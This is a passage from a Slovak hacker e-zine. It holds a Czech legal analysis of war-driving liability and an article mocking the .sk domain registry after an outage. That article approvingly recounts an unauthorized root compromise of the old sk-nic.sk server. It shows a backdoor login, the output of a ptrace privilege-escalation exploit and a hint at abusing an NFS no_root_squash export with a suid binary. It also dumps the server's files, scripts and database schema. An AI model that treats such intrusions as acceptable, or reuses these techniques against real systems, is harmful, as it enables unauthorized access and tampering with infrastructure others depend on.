caha (zavinac) hysteria.sk, singularity (zavinac) hysteria.sk

za konzultace ideas, security, anonymity.



reference:

http://setiathome.ssl.berkeley.edu - nsa@home

http://www.distributed.net - fasa chlapci co si vydelavaj tim ze stavi internet clustery a vyhravaji rsa labs.
challenge v crackovani sifer.



sd (zavinac) hysteria.sk




navrat na obsah

co ty na to ? board






odpovednostni aspekty war drivingu ve svetle soucasne ceske pravni upravy



Uvodem bych rad vymezil obsah pojmu "war driving" . Tento pojem vysvetluje on-line vykladovy slovnik anglictiny
http://www.wordspy.com nasledovne: "War driving (http://www.wordspy.com/words/wardriving.asp) = a computer cracking
technique that involves driving through a neighborhood with a wireless-enabled notebook computer and mapping houses and
businesses that have wireless access points. Also: war-driving, wardriving." Volne prelozeno to znamena asi tolik:
war driving je pocitacova technika vyhledavani siti, ktera zahrnuje jizdu po okoli s notebookem s
implementovanym bezdratovym pripojenim a mapovani domu a spolecnosti, ktere maji bezdratove pristupove body. Tolik
popis vykladoveho slovniku. Pro podrobnejsi predstavu, o co vlastne jde, odkazuji na Prielom c. 18 (wifi jazda po
blave) a Prielom c. 19 (wifi jazda po blave II), kde se doctete o praktickych aspektech cele zalezitosti ... Pro ucely
tohoto clanku je treba rozlisit dva typy bezdratoveho pripojeni, a to:


1.bezdratove pripojeni, kdy se nejedna o prepravu nebo smerovani informaci telekomunikacnimi sitemi tretim osobam a

2.bezdratove pripojeni, kdy se jedna o prepravu nebo smerovani informaci telekomunikacnimi sitemi tretim osobam.



Ad 1)


Prvni pripad predstavuji typicky domacnosti, tedy site zalozene na bezdratovem propojeni jednotlivych pocitacu v jednom
byte. Tento typ bezdratoveho pripojeni neni pravnimi predpisy (zakonem, vyhlaskou, apod.) vyslovne nijak upraven. To
vsak neznamena, ze rada zakonnych norem (zejmena pak obcansky a trestni zakonik) nechrani ty subjekty, ktere by mohly
byt nasledky war drivingu, resp. rozsahem teto cinnosti poskozeni. Nas pravni rad tedy u prvniho pripadu bezdratoveho
pripojeni war driving vyslovne nezakazuje, ale v pripade, ze v dusledku tohoto (byt ne zakazaneho) jednani vznikne
nejaka skoda, stanovi zakon odpovednostni nasledky. Otazka zda je war driving zakonny ci nikoli vyvolava otazku
odpovednostnich dusledku za takove jednani. Odpoved na tuto otazku pak nepochybne z pravniho hlediska souvisi s ucelem
(umyslem), pripadne nasledkem takoveto cinnosti. Dalsim takovym velmi podstatnym aspektem (ne)zakonnosti tohoto jednani
pak muze byt jeho rozsah, resp. mira, kterou tato cinnost zatezuje samotny system. S ohledem na jednotlive druhy
odpovednosti v obcanskem zakoniku lze vychazet predevsim z upravy obecne subjektivni odpovednosti (dle ustanoveni 420),
ve vyjimecnych pripadech pak z odpovednosti objektivni ( 420a). Ze zvlastnich druhu odpovednosti pak nepochybne
prichazi v uvahu take odpovednost za skodu zpusobenou umyslnym jednanim proti dobrym mravum ( 424 ObcZ). Obecna
odpovednost za skodu na subjektivnim principu tedy vyplyva z ustanoveni 420 a nasl. obcanskeho zakoniku, ktere stanovi,
ze "Kazdy odpovida za skodu, kterou zpusobil porusenim pravni povinnosti". Z toho vyplyva, ze zakladnimi predpoklady
takove povinnosti jsou:



1.poruseni pravni povinnosti (v nasem pripade postaci poruseni jiz vyse zminene povinnosti predchazet hrozicim skodam
dle 415 obcanskeho zakoniku),


2.zpusobeni skody (existence skody - napr. skoda zpusobena v dusledku pretizeni a nasledneho zhrouceni systemu),

3.pricinna souvislost mezi zpusobenim skody a porusenim pravni povinnosti (tzv. kauzalni nexus),

4.zavineni (a to jak nedbalostni, tak i umyslne).



Pokud dojde k naplneni vyse uvedenych predpokladu, je nesporne, ze subjekt, ktery takovou skodu zpusobil, za ni bude
take bude odpovidat. Nejde zde pouze o skodu skutecnou (napr. poskozeny HDD), ale i o usly zisk. Vyse skody, jejiz
nahrada je zalobou uplatnovana, musi byt skutecne prokazana (obvykle se jedna o predlozeni faktur za opravu poskozenych
veci, faktur za opravu veci, apod., nekdy se take pribira k vyjadreni o vysi zpusobene skody soudni znalec).
Odpovednost za skodu zpusobenou umyslnym jednanim proti dobrym mravum ( 424 ObcZ) predstavuje v zasade analogii k
obecne odpovednosti za skodu na subjektivnim principu, kde je namisto predpokladu spocivajiciho v poruseni pravni
povinnosti vyzadovana pouze existence umyslneho jednani proti dobrym mravum. Dobrymi mravy spolecnosti je nutno chapat
souhrnem etickych, obecne zachovavanych a uznavanych zasad, jejichz dodrzovani je mnohdy zajistovano i pravnimi
normami tak, aby kazde jednani bylo v souladu s obecnymi moralnimi zasadami demokraticke spolecnosti. V tomto smeru by
bylo nepochybne mozne oprit se i o pravidla etiky v prostredi Internetu. Subjekt, ktery provadi war driving muze tedy
odpovidat podle obcanskeho zakoniku zejmena v tom pripade, ze naplni vsechny predpoklady obecne odpovednosti za skodu
na subjektivnim principu dle 420, pripadne odpovednost za skodu zpusobenou umyslnym jednanim proti dobrym mravum dle
424 ObcZ. V souvislosti s vyse uvedenym nelze take soucasne vyloucit moznost vzniku trestnepravni odpovednosti. V
zasade lze hovorit predevsim o trestnem cinu poskozeni a zneuziti zaznamu na nosici informaci dle ustanoveni 257a.
Trestny cin zneuziti zaznamu na nosici informaci spacha ten, "kdo v umyslu zpusobit jinemu skodu nebo jinou ujmu nebo
ziskat sobe nebo jinemu neopravneny prospech ziska pristup k nosici informaci a takovych informaci neopravnene uzije,
ci tyto informace znici, poskodi nebo ucini neupotrebitelnymi, nebo ucini zasah do technickeho nebo programoveho
vybaveni pocitace". "Ziskanim pristupu k nosici informaci" se zde rozumi takove jednani, ktere umozni pachateli volnou
dispozici s nosicem informaci a vyuziti informacniho obsahu. Ke splneni teto podminky nemusi nutne dojit pouze fyzickou
ucasti u nosice informaci, ale take ziskanim pristupu k tomuto nosici na dalku (tedy napr. prostrednictvim bezdratoveho
pripojeni). "Nosicem informace" je pak jakykoliv nosic dat v informacni technice. "Neopravnene uziti informace" z
jejiho nosice predstavuje jakoukoliv nedovolenou manipulaci s informacnim obsahem prislusneho nosice. "Zniceni,
poskozeni a ucineni informaci neupotrebitelnymi" pak predstavuje takovy zasah do nosice informaci, ze se snizuje, nebo
zcela zanika hodnota jeho informacniho obsahu. Vzhledem k tomu, ze tento trestny cin nezna nedbalostni kvalifikaci
(nelze jej spachat z nedbalosti), lze trestne stihat pouze ty osoby, u nichz by tento umysl byl prokazan. Vzhledem k 4
trestniho zakona, je trestny cin spachan umyslne, jestlize pachatel a) chtel zpusobem v tomto zakone uvedenym porusit
nebo ohrozit zajem chraneny timto zakonem, nebo b) vedel, ze svym jednanim muze takove poruseni nebo ohrozeni zpusobit,
a pro pripad, ze je zpusobi, byl s tim srozumen.



Ad 2)


Druhy pripad predstavuji vsechny ostatni site, kde se jedna o prenos nebo smerovani informaci telekomunikacnimi sitemi
tretim osobam. Pravni rezim provozu takovych siti je upraven predevsim zakonem c. 151/2000 Sb., o telekomunikacich a o
zmene dalsich zakonu. Podminky provozu upravuji podrobne tzv. generalni licence, a to predevsim:



1.licence c. GL-26/S/2000 k poskytovani pridavnych telekomunikacnich sluzeb zalozenych na prenosu dat
(http://www2.ctu.cz/art.php?iSearch=&iArt=90),


2.licence c. GL-27/S/2000 k poskytovani telekomunikacnich sluzeb prenosu dat
(http://www2.ctu.cz/art.php?iSearch=&iArt=91),


3.licence c. G-28/S/2000 k poskytovani telekomunikacnich sluzeb zprostredkovani pristupu uzivatelu ke sluzbam site
INTERNET a hlasove komunikace prostrednictvim site INTERNET (http://www2.ctu.cz/art.php?iSearch=&iArt=92),


4.licence c. GL-29/S/2000 k poskytovani telekomunikacni sluzby pronajmu telekomunikacnich okruhu
(http://www2.ctu.cz/art.php?iSearch=&iArt=93),


5.licence c. GL-30/R/2000 k provozovani vysilacich radiovych zarizeni kratkeho dosahu, provozovanych na urcenych
spolecnych kmitoctech (http://www2.ctu.cz/art.php?iSearch=&iArt=94) a


6.licence c. GL �€“ 31/S/2001 k poskytovani telekomunikacnich sluzeb prenosu dat a dalsich informaci prostrednictvim
verejnych a neverejnych, pevnych a mobilnich vysilacich radiovych siti
(http://www2.ctu.cz/art.php?iSearch=&iArt=95).



Na bezdratove site, ktere spadaji pod rezim uvedeneho zakona c. 151/2000 Sb., o telekomunikacich se vztahuje prisnejsi
rezim nez na pripady, uvedene ad 1. Krome shora uvedene obcanskopravni odpovednosti, ktera plati v plne vysi i v techto
pripadech bezdratoveho pripojeni, zde muze nastoupit take vznik odpovednosti spravni. Jedna se o moznost poruseni tzv.
telekomunikacniho tajemstvi. Poslanim telekomunikacniho tajemstvi je poskytovat ochranu zpravam predavanym urcitymi
technologiemi, ktere k prenaseni zprav pouzivaji specialni site. V souladu s dikci ustanoveni 84 odst. 3 zakona c.
151/2000 Sb., o telekomunikacich predmetem telekomunikacniho tajemstvi


a)je obsah zprav prepravovanych nebo jinak zprostredkovanych telekomunikacnimi zarizenimi a sitemi s vyjimkou zprav
urcenych verejnosti,


b)jsou provozni doklady, z jejichz obsahu je zjevny obsah prepravovanych zprav,


c)jsou data souvisejici s poskytovanim telekomunikacni sluzby, zejmena udaje o ucastnicich telekomunikacniho
spojeni.



Telekomunikacni tajemstvi je chraneno v prve rade povinnosti mlcenlivosti, ktera stiha mimo jine toho, kdo se dozvedel
treba i nahodile o skutecnostech, ktere jsou predmetem telekomunikacniho tajemstvi. Ke vzniku povinnosti mlcenlivosti
zde neni treba zadneho dalsiho ukonu, vznika primo ze zakona. Telekomunikacni tajemstvi lze sdelit pouze odesilateli a
adresatovi prepravovanych zprav, resp. jimi zmocnenemu zastupci. Nikomu jinemu nelze ani umoznit ziskavat informace,
ktere jsou predmetem telekomunikacniho tajemstvi. Poruseni telekomunikacniho tajemstvi, ktereho se dopustila fyzicka
osoba, muze tvorit skutkovou podstatu tzv. jineho spravniho deliktu fyzicke osoby, za coz ji muze hrozit pokuta az do
vyse 100.000,- Kc. V teto souvislosti nelze take soucasne vyloucit moznost vzniku trestnepravni odpovednosti, a to
odpovednosti za trestny cin porusovani tajemstvi dopravovanych zprav podle ustanoveni 239 odstavec 1) zakona c.
140/1961 Sb., trestniho zakona. Trestny cin porusovani tajemstvi dopravovanych zprav spacha ten, "kdo umyslne porusi
tajemstvi uzavreneho listu nebo jine pisemnosti, pri poskytovani postovni sluzby nebo jinym dopravnim zarizenim, nebo
zpravy podavane telefonem, telegrafem nebo jinym takovym verejnym zarizenim". "Umyslnym porusenim tajemstvi zpravy
podavane jinym verejnym zarizenim" se zde dle meho nazoru rozumi mimo jine i takove jednani, ktere umozni pachateli
seznameni se napriklad s obsahem e-mailove zpravy predavane napr. bezdratovym pripojenim a vyuziti jejiho informacniho
obsahu. U tohoto trestneho cinu plati take, ze nezna nedbalostni kvalifikaci (nelze jej spachat z nedbalosti), a lze
tedy trestne stihat pouze ty osoby, u nichz by tento umysl byl prokazan. Samozrejme zde plati i to, co bylo receno
vyse o trestnem cinu poskozeni a zneuziti zaznamu na nosici informaci.



Zaver


Osoba, ktera provadi war driving, za tuto cinnost odpovida pouze vyjimecne, a to zejmena v tom pripade, ze touto svou
cinnosti zpusobi (byt z nedbalosti) jinemu skodu a zaroven naplni vsechny predpoklady obecne odpovednosti za skodu na
subjektivnim principu dle ustanoveni 420 obcanskeho zakoniku, pripadne odpovednost za skodu zpusobenou umyslnym
jednanim proti dobrym mravum dle ustanoveni 424 obcanskeho zakoniku. Dale muze war driving vyvolat i spravni
odpovednost osoby v pripade, ze tato osoba ziska pristup k obsahu zprav prepravovanych nebo jinak zprostredkovanych
telekomunikacnimi zarizenimi a sitemi a v teto souvislosti porusi povinnost mlcenlivosti ohledne telekomunikacniho
tajemstvi. V neposledni rade muze byt dusledkem war drivingu i trestni odpovednost osoby, ktera v umyslu zpusobit
jinemu skodu nebo jinou ujmu nebo ziskat sobe nebo jinemu neopravneny prospech ziska pristup k nosici informaci a ucini
zasah do technickeho nebo programoveho vybaveni pocitace a dale trestni odpovednost osoby, ktera umyslne porusi
tajemstvi zpravy podavane telefonem, telegrafem nebo jinym takovym verejnym zarizenim.



raptor, raptor (zavinac) hysteria (bodka) sk



PS:



pravne aspekty war drivingu predstavuju jednu z mnohych oblasti, kde technika akosi predbehla legislativu a vznikol nam
kusok absurdny stav o ktorom sa vseobecne nevie. staci ak si v meste na namesti otvorim notebook so zabudovanou wifi
kartou a windows sa mi automaticky cez dhcp prihlasi na siet internet providera a v tom okamziku som porusil zakon -
"neautorizovane som pristupil k telekomunikacnej sieti a k nosicu dat". prislusny zakon potrebuje zmenu, nemoze platit
stav ked obcan s uplne standardnym pocitacom bez toho aby vyvinul nejake zvlastne usilie, len pouzitim beznej funkcie
pocitaca, porusil zakon.



vo svete to chvalabohu uz pochopili. stat new hampshire v usa sa azda stane prvym miestom na svete kde budu wifi jazdy
dekriminalizovane. ako reportuje wired v ich clanku na http://www.wired.com/news/wireless/0,1382,58651,00.html v new
hampshire pripravuju zakon, ktory odoberie prevadzkovatelom bezdratovych sieti ich schopnost zalovat niekoho kto sa
neautorizovane pripoji na ich wifi siet - pokial si svoju siet operator dostatocne nezabezpeci.



Lee Tien, pravnik electronic frontier foundation (www.eff.org), tvrdi ze tento zakon pomoze vyjasnit legalnost
otvorenych sietovych prostredi. "zda sa to byt ferova a cista cesta ako umoznit geekovske metody ponechania otvorenych
wifi access pointov bez toho aby trpela bezpecnost", tvrdi.


budeme schopni upozornit na tuto zjavnu dieru v nasej legislative aj nasich zakonodarcov ? pomohlo by mi, keby sa mi
ozval nejaky slovensky pravnik, alebo student prava, mohli by sme spolu sformulovat nejaky apel na nasich panov..


pajkus, pajka (zavinac) hysteria (bodka) sk





navrat na obsah

co ty na to ? board






kde nic, tu NIC




..alebo o tom ako boh slovenskeho internetu bdie nad vasimi(nasimi?) domenami



Nie je snad na slovenskom internete jedinca, ktory by nezaregistroval nedavny
globalny vypadok slovenskeho "internetu" v podobe nefunkcnosti TLD .sk.
Podla jedneho vyjadrenia hotline spolocnosti EuroWeb doslo k 'pretazeniu systemu
registratormi'. V case vypadku znela dalsia z verzii hotline-u "u nas je
vsetko v poriadku", no v kuloaroch sa sirila informacia 'niekto nakopiroval
nieco kam nemal a ten co do toho vidi je na dovolenke'.
Pre doplnenie situacie uvadzame uryvok z prirucky registratorov sk-nic:


Co nerobit:
- needitovat rucne sk-dom ani named.conf na sk2eu.
Nema to zmysel, pri najblizsom update sa data premazu novymi z databazy,
rucne zmeny sa stratia.


Ked uz zacal internet zase chodit, docitali sme sa na strankach roznych
webovych aj papierovych platkov same zaujimave veci a nazory na
administratorov sk-nicu. Nam sa najviac pacil tentok:



Euroweb resp. SK-NIC je tlupa vypatlanych, blbych a neschopnych ludi,
ktori nielenze vytvorili otrasny byrokraticky system registracie domen,
ale dovolia si brat neskutocne prachy za nefunkcny, pomaly a tazkopadny
system ktory sa im dokonca dneska cely zosypal. Neviem si dost dobre
predstavit co tam ti ludia robia, za co vlastne tie peniaze beru, a akym
pravom ich beru ako sukromna firma. ICANN by sa konecne mal spamatat
a delegovat spravu SK zony na inu instituciu. Tento system nefunguje od prveho
dna co bol spusteny. Stranka vyhadzuje 500 Error, Chyba v instanciach,
nedostupnost, neustale nefunkcny whois server, a dokonca "stracanie" sa domen.
Podavam trestne oznamenie na Euroweb za problemy a usly zisk sposobeny vypadkom
mojich domen. Odporucam vsetkym poskodenym urobit to iste. Mimochodom, zaujimave
na tom celom je, ze stary system ktory fungoval bezplatne, fungoval omnoho
rychlejsie, spolahlivejsie, pruznejsie a jednoduhsie. To ze sa vtedy "akoze"
nedali predavat domeny? Nezmysel, robilo sa to aj vtedy a nikoho to netrapilo.
Dufam ze po dnesku sa viaceri ludia konecne zobudia a spravia to co mali spravit uz minuly rok.



Musime uznat, ze ked sa vypustia zbytocne vulgarizmy, tak po technickej
stranke ma ten pan pravdu..



Tak teda zobudme sa a cinme co sa malo, pozrime sa staremu systemu SK-NICu
na zubok lepsie. Uvedene zvasty sa vztahuju na obdobie, ked to bol este
ostry system, inac by to nestalo za rec, totiz systemov ktore boli nahradene
novymi a ostali bezat na nete napospas roznym renegadom je barz kolko.
Staavaju sa z nich take ostrovceky, zijuce vlastnym zivotom o ktorom
vacsinou ich admin nic nevie, pretoze na ne zabudol. Tak dopadol aj old.sk-nic.sk..
To ze na roznych miestach siete moze adresa takeho zabudnute systemu figurovat ako trusted,
uzivatelia mozu mat rovnake hesla atd asi nie je dost velke strasidlo pre adminov.



Pozor, zly pes!



Jedneho pekneho popoludnia, po rusnej debate o pripravovanom a dlho
odkladanom spoplatneni domen v TLD sk sme zbezne mrkli na prvy kontaktny bod
sk-nicu - webserver. Solidne stara instalacia linuxu slackware 7.1 (hesla v
shadowe este v DESe a tak..), s deravym apacom - konkretne mod_ssl (ano stary
sk-nic ste mohli browsovat aj cez HTTPS, nevedeli ste o tom? to asi aby to
nezacalo pouzivat vela ludi, lebo ta masina by to neutiahla :[ )



Kratka ukazka toho, na co su vlastne dobre tie bekdory:


looser@lama$ ./backdoor www.sk-nic.sk
root@www.sk-nic.sk's password:
Last login: Sun Nov 21 2002 07:56:33 +0200
Linux 2.2.16.
You have new mail.
huuuuuuuu...
webforce:~#


Jaj ale som sa zlakol, len neviem ci viac toho stareho jadra alebo toho hukotu...
Da sa povedat ze to jadro je riadny hukot :) Ale zdy lepsie ako nejake 2.0.24 (spominate? :)).



Tak v prvom rade, masina bezi 'na vykonnom serveri sun.'. To je uplne jasnavec:




webforce:# cat /proc/cpuinfo
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 5
model name : Pentium II (Deschutes)
stepping : 3
cpu MHz : 400.917
cache size : 512 KB
fdiv_bug : no
hlt_bug : no
sep_bug : no
f00f_bug : no
coma_bug : no
fpu : yes
fpu_exception : yes
cpuid level : 2
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 mmx fxsr
bogomips : 799.54



webforce:# uname -a
Linux webforce 2.2.16 #2 SMP Mon Mar 26 15:51:52 CEST 2001 i686 unknown



webforce:# lspci
00:00.0 Host bridge: Intel Corporation 440BX/ZX - 82443BX/ZX Host bridge (rev 03)
00:01.0 PCI bridge: Intel Corporation 440BX/ZX - 82443BX/ZX AGP bridge (rev 03)
00:07.0 ISA bridge: Intel Corporation 82371AB PIIX4 ISA (rev 02)
00:07.1 IDE interface: Intel Corporation 82371AB PIIX4 IDE (rev 01)
00:07.2 USB Controller: Intel Corporation 82371AB PIIX4 USB (rev 01)
00:07.3 Bridge: Intel Corporation 82371AB PIIX4 ACPI (rev 02)
00:08.0 SCSI storage controller: Adaptec AIC-7880U
00:0d.0 Ethernet controller: Intel Corporation 82557 [Ethernet Pro 100] (rev 05)
01:00.0 VGA compatible controller: Intel Corporation i740 (rev 21)


To by ma zaujimalo odkedy dava sun do swojich masiniek i686 procesory
v takejto konfiguracii.. No aspon je vidno, ze sa admin stara. Jadro 2.2.16 SMP
na jednoprocesore... ale vlastne tiez som 'pocul ze SMP veci su v jadre poriesene lepsie...'
Zaujimave je, ze aj napriek tomu na akom HW to ficalo, tak tato jedina
masina celkom v pohode uzivila komplet povodny web a databazu sknicu. Asi mal
ciastocne svoj podiel na uptime masiny aj hw intel prcak a doska je idealna
kombinacia v taktomto lowcost rieseni. Ako by vyzeral terajsi system na tom to
HW ale radsej ani pomysliet.. DNSka bezali nastastie inde, to uz boli fakt sunos-y
ktore pamataju snad este Husaka :) Tu sa potvrdilo, ze instalovat nmap do systemu
sa oplaca, ked vas bude niekto ownovat, usetrite mu cas a nervy.
Cele to bolo previazane cez NFS tak, ze pravidelne generovany zonovy fajl na
www.sk-nic.sk bol exportovany pre dnska (read only -> wau!). Ale dalsi riadok
v /etc/exports je idealna ukazka toho, ze co NESKUSAT!
/d3/twistplus sk2eu.EUnet.sk(rw,no_root_squash) 192.108.130.33(rw,no_root_squash).
Odporucame si precitat man exports a hladat no_root_squash a pre hravejsich vyskusat
spravit si na takomto nfs suidnutu binarku. :)



V principe stacilo zmenit skripty, ktore generuju tento subor (exporty),
upravit jeden skript co sa pustal lafymu a nova domena mohla prist na svet.
Zda sa vam to moc neohrabane? Tak nech sa paci mozte si
priamo do minisql nahodit domenu svojich snov :) Ze neviete msql syntax?
Neva, na servri su vcelku dobre napisane manualy na obsluhu skriptov ktore
vsetko spravia za vas, napr. 'di burzuj', alebo 'regdom orange' :-)
Verte ci nie, roota na masine, z ktorej sa generuje SK-zona nebolo problem
ziskat hocakemu lamerovi (inac by tento clanok nevznikol, ze ;))).
Deravy apache, derave jadro, co si budeme rozpravat, co?


ls -al a.out
-rwxr-xr-x 1 nobody 1000 14459 Nov 28 14:30 a.out
./a.out
Old password: ptrace: PTRACE_ATTACH: Operation not permitted
d0h! error!

./a.out /bin/su
bug exploited successfully.
enjoy!
id
uid=3D0(root) gid=3D0(root) groups=3D1000,17(msql-admin),501(www),101(ftponly)


Radi by sme vam naznacili ako sa admin branil napadnutiu, lenze kde nic neni,
ani Moric nebere. Co sa tyka ptrace bugu v jadre, tak tento exploit bol
napisany niekedy v roku 2001.. Len pre informaciu, v tomto obdobi sa objavila
podobna chyba aj v jadre FreeBSD. Zial na Linuxe sa takpovediac zopakovala
aj na 2.4kovych jadrach, na BSD uz nie (zatial :-) ).



Kazdopadne neboli sme sami kto sa bavil, no nie kazdy po sebe uprace:


-rwsr-sr-x 1 nobody 1000 15679 Jun 9 10:18 /tmp/pd
-rwsr-xr-x 1 1000 users 68 Jun 23 1999 /home/martin/test/sk.pl
-rwsr-xr-x 1 1000 users 4023 Jun 23 1999 /home/martin/test/a.out


Co je celkom vtipne je to, ze po navsteve jedne[ho|j] od "konkurencie" admin nahodil
firewall, zjavne mu nieco bolo podozrive a v slabej chvilke zafungoval vincov
princip bloknutia badguyov. Teda to by este nebolo vtipne, vtipne bolo to, ze to bolo
vsetko co spominany admin spravil, t.j. uz dalej nepreveroval, ze wassup.. Vyzeralo
to tak, ako keby si povedal "vsak aj tak o rok pojdeme na novy system, co sa tu s tym
budem onee..".



Dost bolo nezaujimavych veci, podme sa pozriet na zubok samotnemu public stromu
weboveho serveru.



Samotny root lezi v adresari /spare (z anglictiny nahradny:), podadresar WWW/Public/sk-nic.


celkem 13924
drwx------ 2 lamer lamer 4096 2002-05-30 12:41 admin
drwxr-xr-x 5 lamer lamer 4096 2003-09-08 16:48 backup
drwxr-x--x 2 lamer lamer 4096 2003-01-10 00:33 bin
-rw-r--r-- 1 lamer lamer 1135 2002-09-13 14:07 ca.crt
d--------- 2 lamer lamer 4096 1999-06-24 17:17 cgi
-rwxr-xr-x 1 lamer lamer 5604 2003-01-12 14:21 config.pl
drwx--x--- 2 lamer lamer 4096 2003-01-11 18:59 dat
-rw-r--r-- 1 lamer lamer 7345 2001-04-23 14:35 deldom.html
drwx------ 2 lamer lamer 4096 2000-02-07 14:47 doc
-rw-r-xr-x 1 lamer lamer 6 2003-01-11 18:57 domaincount.txt
-rw-r-xr-x 1 lamer lamer 9914076 2003-01-11 18:57 domeny.txt
-rw-r-xr-x 1 lamer lamer 2715915 2003-01-11 18:57 domeny.zip
-rw-r--r-- 1 lamer lamer 18828 2002-11-11 11:29 dom-pravidla.html
-rw-r--r-- 1 lamer lamer 16241 1999-05-26 11:21 dom-pravidla.html.old
-rw-r--r-- 1 lamer lamer 11052 1999-10-06 17:23 duplicitne.txt
drwxr-xr-x 2 lamer lamer 4096 1999-06-21 10:06 en
-rw-r--r-- 1 lamer lamer 1854 1998-04-17 20:14 eunet_l.gif
-rw-r--r-- 1 lamer lamer 669 2000-12-11 17:20 ew.gif
-rw-r--r-- 1 lamer lamer 5852 2002-10-02 15:37 faq-english.html
-rw-r--r-- 1 lamer lamer 19503 2001-06-13 10:58 faq.html
drwxr-xr-x 2 lamer lamer 4096 2000-02-08 17:40 fax
-rw-r--r-- 1 lamer lamer 344 2002-11-26 14:57 forbidden.conf
-rw-r--r-- 1 lamer lamer 1850 1998-04-17 20:14 gmarble.gif
-rw-r--r-- 1 lamer lamer 2980 2001-04-23 14:35 handle.html
-rw-r--r-- 1 lamer lamer 10668 2001-04-23 12:48 changedom.html
-rw-r--r-- 1 lamer lamer 3432 2001-04-23 12:48 change_handle.html
-rw-r--r-- 1 lamer lamer 9265 2001-04-23 12:48 changereg.html
-rw-r--r-- 1 lamer lamer 9186 2001-04-23 14:35 changesknichandle.html
-rw-r--r-- 1 lamer lamer 2947 2001-02-06 19:33 changes.log
drwxr-xr-x 2 lamer lamer 4096 2000-12-08 13:28 images
-rw-r--r-- 1 lamer lamer 4631 2003-01-11 20:54 index.html
-rw-r--r-- 1 lamer lamer 6550 2003-01-11 20:07 index.html.20030111
-rw-r--r-- 1 lamer lamer 6569 2002-11-11 10:27 index.orig.html
-rw-r--r-- 1 lamer lamer 5801 2002-09-02 02:48 index1.html
-rw-r--r-- 1 lamer lamer 6550 2002-11-11 10:26 index2.html
-rw-r--r-- 1 lamer lamer 3013 2001-04-23 14:36 info.html
drwxr-xr-x 3 lamer lamer 4096 2001-03-14 12:15 lib
-rw-r--r-- 1 lamer lamer 6753 2001-04-23 15:27 limit.html
-rwxr-xr-x 1 lamer lamer 111 2001-04-08 22:56 llll-script
-rw-r--r-- 1 lamer lamer 399 2001-04-08 22:40 llll.txt
drwxr-x--x 2 lamer lamer 4096 2003-01-08 15:24 log
drwxr-xr-x 2 lamer lamer 4096 2003-01-08 11:20 mails
-rw------- 1 lamer lamer 7273 1999-12-21 08:17 mx.html
-rw------- 1 lamer lamer 3649 1999-12-21 08:17 mx_change.html
-rw-r--r-- 1 lamer lamer 11172 1999-05-13 12:52 nadpis.GIF
-rw-r--r-- 1 lamer lamer 22956 2001-06-28 09:36 named.txt
-rw------- 1 lamer lamer 7782 2001-04-23 14:36 newreg.html
-rw-r--r-- 1 lamer lamer 7136 1999-06-03 11:52 newreg.html.old
-rw-r--r-- 1 lamer lamer 2554 2003-01-11 20:20 novy_zaznam.html
-rw-r--r-- 1 lamer lamer 3352 2003-01-11 20:20 novy_zaznam.html.20030111
-rw-r--r-- 1 lamer lamer 7842 2001-04-23 14:43 ns.html
-rw-r--r-- 1 lamer lamer 3589 2001-04-23 14:43 ns_change.html
-rw-r--r-- 1 lamer lamer 5347 2001-04-23 15:29 person.html
-rw-r--r-- 1 lamer lamer 1033544 2001-06-19 18:18 power-list
-rw-r--r-- 1 lamer lamer 5169 2001-06-19 17:24 powernet-list-domains
-rw-r--r-- 1 lamer lamer 556 2001-06-19 18:40 power-only-list
drwx------ 2 lamer lamer 4096 1999-08-06 13:35 private
-rw-r--r-- 1 lamer lamer 1 2002-08-07 10:27 registratori.conf
-rw------- 1 lamer lamer 585 2000-12-13 12:28 registratori.conf.old
-rw-r--r-- 1 lamer lamer 23 2000-06-03 18:31 renamer
-rwxr-xr-x 1 lamer lamer 94 2001-06-19 18:04 script-powernet
-rw-r--r-- 1 lamer lamer 2582 1998-09-03 15:51 sknic.htm
-rw-r--r-- 1 lamer lamer 2363 2001-04-23 14:43 sk-nic.html
-rw-r--r-- 1 lamer lamer 10914 1998-09-22 16:22 sknic.jpg
-rw-r--r-- 1 lamer lamer 14862 1999-05-13 13:21 sk-nic-logo.jpg
-rw-r--r-- 1 lamer lamer 434 1998-04-17 20:14 sk-nicss.gif
-rw-r--r-- 1 lamer lamer 4 2001-06-28 09:32 slovanet_vavro.txt
-rw-r--r-- 1 lamer lamer 226 2002-02-01 21:43 snet
drwx------ 2 lamer lamer 4096 1999-05-21 12:55 sql
-rw-r--r-- 1 lamer lamer 3551 2001-04-23 14:44 state.html
drwxr-x--x 2 lamer lamer 4096 2003-01-11 18:47 templates
-rw-r--r-- 1 lamer lamer 5663 2001-04-18 15:01 test.html
drwx------ 2 lamer lamer 4096 2003-04-10 15:27 tmp
-rw-r--r-- 1 lamer lamer 18058 2001-04-23 14:44 TMP978951985.htm
-rw-r--r-- 1 lamer lamer 4928 2001-04-23 14:44 TMP983808910.htm
-rw-r--r-- 1 lamer lamer 41 1999-04-27 14:07 trans.gif
drwx------ 2 lamer lamer 4096 2000-08-16 16:42 whoisd
-rw-r--r-- 1 lamer lamer 3544 2001-04-23 14:44 zabudnute.html
-rw-r--r-- 1 lamer lamer 3571 2001-04-23 14:44 zaznamy_info.html
-rw-r--r-- 1 lamer lamer 2554 2003-01-11 18:29 zmena.html
-rw-r--r-- 1 lamer lamer 5293 2003-01-11 18:21 zmena.html.2003011
-rw-r--r-- 1 lamer lamer 12165 2001-06-28 09:31 zoznam_domen_viapvt.txt
-rw-r--r-- 1 lamer lamer 38 2000-03-30 20:22 1
-rw-r--r-- 1 lamer lamer 4517 2001-04-23 12:48 2105index.html


Pozrime sa do adresara admin.



Zalohovaci skript backup je velmi sofistikovany a chrani nas proti
hardwarovemu zlyhaniu:


#!/bin/sh
i=`date +%y%m%d`
/usr/local/Hughes/bin/msqldump sk-nic > /spare/WWW/Public/sk-nic/backup/db_dump$i
gzip /spare/WWW/Public/sk-nic/backup/db_dump$i


Zaujimawe je aj pripojenie sa k databazke:


$db = Msql -> connect("","sk-nic");
&checkmsqlerror;



echo("Creating the registratori table ... ");
if (msqlQuery($sock, "CREATE TABLE registratori (
hndl CHAR(10),
passwd CHAR(10),
firma CHAR(50),
adresa char(40),
mesto CHAR(30),
ico CHAR(15),
dic CHAR(15),
tel CHAR(15),
fax CHAR(15),
email CHAR(40),
www CHAR(40),
ucet CHAR(20),
techkon CHAR(30),
admkon CHAR(30))") < 0)
{
echo("Error : $ERRMSGn");
}
echo("done.n");

echo("Creating the newreg table ... ");
if (msqlQuery($sock, "CREATE TABLE newreg (
hndl CHAR(10),
passwd CHAR(10),
firma CHAR(50),
adresa char(40),
mesto CHAR(30),
ico CHAR(15),
dic CHAR(15),
tel CHAR(15),
